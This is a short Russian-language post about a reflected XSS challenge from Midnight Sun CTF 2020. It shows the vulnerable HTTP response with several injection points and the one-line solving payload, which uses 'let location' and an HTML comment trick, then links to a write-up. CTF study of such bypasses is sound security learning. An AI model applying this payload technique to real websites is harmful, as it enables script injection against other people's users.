Очередные чудеса Client-Side с прошедшего CTF.



Что если есть Reflected XSS в таком вот ответе (См. INJECTION):

HTTP/1.1 200 OK

Server: nginx/1.17.9

Date: Sun, 05 Apr 2020 11:21:23 GMT

Content-Type: text/html; charset=UTF-8

Connection: keep-alive

X-Powered-By: PHP/5.6.40

X-XSS-Protection: 0

X-Frame-Options: deny

X-Content-Type-Options: nosniff

Content-Length: 291



<script>

setTimeout(function(){

try{

return location = '/?i_said_no_xss_4_u_:)';

nodice=INJECTION;

}catch(err){

return location = '/?error='+INJECTION;

}

},500);

</script>

<script>

/*

payload: INJECTION

*/

</script>

<body onload='location="/?no_xss_4_u_:)"'>hi. bye.</body>




И есть решение:

/?xss=alert(1);let location=1;<!--<script




Если чутка приглядеться, то поймешь, что вообще ни черта не понимаешь.



Объяснение и цепочка решения здесь:



https://github.com/empty-jack/ctf-writeups/blob/master/MidnightSunCTF-2020/crossintheroof-web.md